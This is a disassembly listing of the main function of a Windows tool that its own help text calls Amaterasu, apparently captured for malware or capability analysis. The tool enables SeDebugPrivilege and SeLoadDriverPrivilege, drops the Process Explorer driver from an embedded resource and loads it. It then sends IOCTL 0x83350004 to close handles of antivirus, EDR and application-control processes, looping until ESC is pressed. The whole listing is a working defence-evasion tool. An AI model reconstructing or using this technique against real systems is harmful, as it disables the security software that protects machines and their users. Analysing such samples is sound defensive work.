Function at 0x1400017f0
Capabilities:
Acquire debug privileges
Delete file
Extract resource via kernel32 functions
Install driver
Log keystrokes via polling
Unload driver
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r15
lea rbp, [rsp - 0x1c0]
sub rsp, 0x2c0
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0x1b0], rax
mov ebx, ecx
mov rdi, rdx
lea rcx, str._n__________________________________________________________n_________________________________________________________n______________________________________________________n_________________________________________________________n__________________________________________________n_n
call fcn.140001010
cmp ebx, 3
jne 0x1400020a5
mov rcx, qword [rdi + 8]
lea rdx, str._name
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x140001858
mov rax, qword [rdi + 0x10]
xor r12b, r12b
mov esi, dword [rsp + 0x48]
jmp 0x14000188d
mov rcx, qword [rdi + 8]
lea rdx, [0x140004bb8]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x1400020a5
mov rcx, qword [rdi + 0x10]
mov r12b, 1
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll__wtoi]
mov esi, eax
test eax, eax
je 0x1400020a5
mov rax, qword [rsp + 0x40]
lea rcx, str.___Checking_for_required_privileges_n
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x2f0], r13
call fcn.140001010
xor r13d, r13d
mov ebx, r13d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea r8, [rsp + 0x50]
lea edx, [r13 + 8]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400018f9
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x70]
lea r9d, [r13 + 4]
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x48]
mov dword [rsp + 0x70], 4
lea edx, [r13 + 0x14]
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
cmovne ebx, dword [rsp + 0x48]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140001909
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140001921
lea rcx, str._t___You_must_run_this_with_administrator_privileges_n
call fcn.140001010
lea eax, [rbx + 1]
jmp 0x140002077
mov ebx, r13d
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x48]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov r15d, 1
mov dword [rsp + 0x70], r15d
test eax, eax
je 0x1400019e0
lea r8, [rsp + 0x54]
mov dword [rsp + 0x50], r15d
lea rdx, str.SeDebugPrivilege
mov dword [rsp + 0x5c], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400019e0
mov rcx, qword [rsp + 0x48]
lea r9d, [r15 + 0xf]
mov qword [rsp + 0x28], r13
lea r8, [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x1400019e0
lea r8, [rbp - 0x7c]
mov dword [rbp - 0x80], r15d
lea rdx, str.SeLoadDriverPrivilege
mov dword [rbp - 0x74], 2
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x1400019e0
mov rcx, qword [rsp + 0x48]
lea r9d, [r15 + 0xf]
mov qword [rsp + 0x28], r13
lea r8, [rbp - 0x80]
xor edx, edx
mov qword [rsp + 0x20], r13
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
cmovne ebx, r15d
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x1400019f0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jne 0x140001a08
lea rcx, str._t___Failed_to_get_SeDebugPrivilege__SeLoadDriverPrivilege_n
call fcn.140001010
mov eax, r15d
jmp 0x140002077
lea rcx, str.___Loading_the_driver_n
mov qword [rsp + 0x300], r14
call fcn.140001010
mov edx, 0x65
xor ecx, ecx
lea r8d, [rdx - 0x5b]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
jne 0x140001a41
lea rcx, str._t___Failed_to_locate_resource_n
jmp 0x140001b69
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
jne 0x140001a60
lea rcx, str._t___Failed_to_load_resource_n
jmp 0x140001b69
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LockResource]
mov r14, rax
test rax, rax
jne 0x140001a7d
lea rcx, str._t___Failed_to_lock_resource_n
jmp 0x140001b69
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test eax, eax
jne 0x140001a9a
lea rcx, str._t___Failed_to_get_resource_size_n
jmp 0x140001b69
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
lea rcx, [rbp - 0x80]
call fcn.140001230
cmp qword [rax + 0x18], 8
jb 0x140001ab6
mov rax, qword [rax]
mov qword [rsp + 0x30], r13
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdx, qword [rbp - 0x68]
mov rbx, rax
cmp rdx, 8
jb 0x140001b25
mov rcx, qword [rbp - 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001b20
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001b20
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000260c
mov qword [rbp - 0x70], r13
mov qword [rbp - 0x68], 7
mov word [rbp - 0x80], r13w
cmp rbx, 0xffffffffffffffff
jne 0x140001b45
lea rcx, str._t___Failed_to_create_PROCEXP152.sys_n
jmp 0x140001b69
lea r9, [rsp + 0x48]
mov qword [rsp + 0x20], r13
mov r8d, edi
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140001b7f
lea rcx, str._t___Failed_to_write_to_PROCEXP152.sys_n
call fcn.140001010
lea rcx, str.___Cleaning_up_n
call fcn.140001010
jmp 0x14000206d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx edi, r15b
call fcn.140001310
test al, al
jne 0x140001bb2
lea rcx, str._t___Failed_to_update_the_registry_n
call fcn.140001010
lea rcx, str.___Cleaning_up_n
call fcn.140001010
jmp 0x14000200e
movaps xmm0, xmmword [str.RegistryMachineSystemCurrentControlSetServicesAmaterasu]
lea rcx, [rbp + 0x1c]
movaps xmm1, xmmword [0x140004ec0]
xor edx, edx
mov eax, dword [0x140004f28]
mov r8d, 0x18c
movaps xmmword [rbp - 0x60], xmm0
movaps xmm0, xmmword [0x140004ed0]
movaps xmmword [rbp - 0x50], xmm1
movaps xmm1, xmmword [0x140004ee0]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm0, xmmword [0x140004ef0]
movaps xmmword [rbp - 0x30], xmm1
movaps xmm1, xmmword [0x140004f00]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm0, xmmword [0x140004f10]
movaps xmmword [rbp - 0x10], xmm1
movsd xmm1, qword [0x140004f20]
movaps xmmword [rbp], xmm0
movsd qword [rbp + 0x10], xmm1
mov dword [rbp + 0x18], eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp - 0x80]
call qword [sym.imp.ntdll.dll_NtLoadDriver]
test eax, eax
je 0x140001c63
cmp eax, 0xc000010e
je 0x140001c63
cmp eax, 0xc0000035
je 0x140001c63
lea rcx, str._t___Failed_to_load_the_driver_n
jmp 0x140001b9c
lea rcx, str.___Connecting_to_the_driver_n
movzx ebx, dil
call fcn.140001010
mov qword [rsp + 0x30], r13
lea rcx, str..PROCEXP152
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 3
mov edx, 0x10000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x140001f5e
test rax, rax
je 0x140001f5e
test r12b, r12b
je 0x140001dcb
mov r8d, esi
xor edx, edx
mov ecx, 0x1000
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r14, rax
mov qword [rsp + 0x40], rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140001dbf
mov edx, esi
lea rcx, str.___Killing_handles_associated_with_the_PID__d__n
call fcn.140001010
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov esi, eax
call fcn.140001730
xor ebx, ebx
mov rdi, rax
cmp dword [rax], ebx
jbe 0x140001daa
xor r14d, r14d
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbx + rbx*2]
mov eax, dword [rdi + rdx*8 + 8]
movsd xmm0, qword [rdi + rdx*8 + 0x18]
movzx eax, ax
movsd qword [rbp - 0x70], xmm0
cmp eax, esi
jne 0x140001d9b
movups xmm1, xmmword [rdi + rdx*8 + 8]
mov qword [rsp + 0x38], r14
lea r8, [rsp + 0x50]
mov qword [rsp + 0x30], r14
mov r9d, 0x20
movd eax, xmm1
mov edx, 0x83350004
mov dword [rsp + 0x28], r14d
mov rcx, r13
movsd qword [rbp - 0x70], xmm0
movzx eax, ax
mov qword [rsp + 0x50], rax
movq rax, xmm1
shr rax, 0x30
psrldq xmm1, 8
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x60], r14
movq qword [rsp + 0x58], xmm1
mov qword [rsp + 0x20], r14
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
inc ebx
cmp ebx, dword [rdi]
jb 0x140001d20
mov r14, qword [rsp + 0x40]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx ebx, r15b
movzx edi, bl
jmp 0x140001f3f
lea rcx, str.___Failed_to_locate_process_n
jmp 0x140001f3a
mov r12, qword [rsp + 0x40]
lea rcx, str.___Continuously_killing_handles_that_match_the_process_name__s_n
mov rdx, r12
call fcn.140001010
lea rcx, str._____Press_the_ESC_key_to_stop_after_the_current_iteration__n
call fcn.140001010
mov ecx, 0x1b
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140001f33
nop
mov edx, r15d
lea rcx, str._r_t____Looped__d_times
call fcn.140001010
call fcn.140001730
xor ebx, ebx
mov rsi, rax
cmp dword [rax], ebx
jbe 0x140001f12
xor r15d, r15d
nop dword [rax]
nop dword [rax + rax]
lea rdx, [rbx + rbx*2]
mov ecx, 0x1000
movups xmm1, xmmword [rsi + rdx*8 + 8]
movsd xmm0, qword [rsi + rdx*8 + 0x18]
xor edx, edx
movd r14d, xmm1
movups xmmword [rbp - 0x80], xmm1
movzx r8d, r14w
movsd qword [rbp - 0x70], xmm0
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x140001f03
xor edx, edx
lea rcx, [rbp - 0x60]
mov r8d, 0x208
call sub.VCRUNTIME140.dll_memset
mov r9d, 0x104
lea r8, [rbp - 0x60]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
je 0x140001efa
mov rdx, r12
lea rcx, [rbp - 0x60]
call fcn.1400015b0
test al, al
je 0x140001efa
mov qword [rsp + 0x38], r15
lea r8, [rsp + 0x50]
movzx eax, r14w
mov r9d, 0x20
mov qword [rsp + 0x50], rax
mov edx, 0x83350004
mov rax, qword [rbp - 0x80]
mov rcx, r13
shr rax, 0x30
mov qword [rsp + 0x68], rax
mov rax, qword [rbp - 0x78]
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, dword [rsi]
jb 0x140001e30
mov r15d, dword [rsp + 0x70]
inc r15d
mov ecx, 0x1b
mov dword [rsp + 0x70], r15d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140001e00
mov bl, 1
movzx edi, bl
lea rcx, [0x140004f50]
call fcn.140001010
lea rcx, str.___Cleaning_up_n
call fcn.140001010
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140002009
jmp 0x140001f76
lea rcx, str._t___Failed_to_connect_to_driver_n
call fcn.140001010
lea rcx, str.___Cleaning_up_n
call fcn.140001010
movaps xmm0, xmmword [str.RegistryMachineSystemCurrentControlSetServicesAmaterasu]
lea rcx, [rbp + 0x1c]
movaps xmm1, xmmword [0x140004ec0]
xor edx, edx
mov eax, dword [0x140004f28]
mov r8d, 0x18c
movaps xmmword [rbp - 0x60], xmm0
movaps xmm0, xmmword [0x140004ed0]
movaps xmmword [rbp - 0x50], xmm1
movaps xmm1, xmmword [0x140004ee0]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm0, xmmword [0x140004ef0]
movaps xmmword [rbp - 0x30], xmm1
movaps xmm1, xmmword [0x140004f00]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm0, xmmword [0x140004f10]
movaps xmmword [rbp - 0x10], xmm1
movsd xmm1, qword [0x140004f20]
movaps xmmword [rbp], xmm0
movsd qword [rbp + 0x10], xmm1
mov dword [rbp + 0x18], eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
lea rdx, [rbp - 0x60]
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.ntdll.dll_RtlInitUnicodeString]
lea rcx, [rbp - 0x80]
call qword [sym.imp.ntdll.dll_NtUnloadDriver]
test dil, dil
je 0x14000206d
lea rcx, [rbp - 0x80]
call fcn.140001230
cmp qword [rax + 0x18], 8
jb 0x140002021
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov rdx, qword [rbp - 0x68]
cmp rdx, 8
jb 0x14000206d
mov rcx, qword [rbp - 0x80]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002068
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002068
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000260c
mov r14, qword [rsp + 0x300]
xor eax, eax
mov r13, qword [rsp + 0x2f0]
mov rcx, qword [rbp + 0x1b0]
xor rcx, rsp
call fcn.1400025b0
mov rbx, qword [rsp + 0x308]
add rsp, 0x2c0
pop r15
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rcx, str._n_ABOUT__n_tAmaterasu_terminates__or_inhibits__protected_processes_such_as_application_control_and_AV_EDR_solutions_by_leveraging_the_Sysinternals_Process_Explorer_driver_to_kill_a_processes_handles_from_kernel_mode._For_protected_processes_which_attempt_to_restore_its_handles_or_restarts_itself__supply_a_process_name__partial_match__and_Amaterasu_will_continuously_kill_any_handles_that_are_associated_with_that_name_until_you_tell_it_to_stop._Otherwise__supply_the_process_ID_and_Amaterasu_will_stop_after_the_process_is_terminated._Based_off_Backstab_by__Yas_o_h._n_n_USAGE__n_t.Amaterasu.exe___nameid___Process_Name_or_ID__n_n
call fcn.140001010
mov eax, 1
jmp 0x14000207f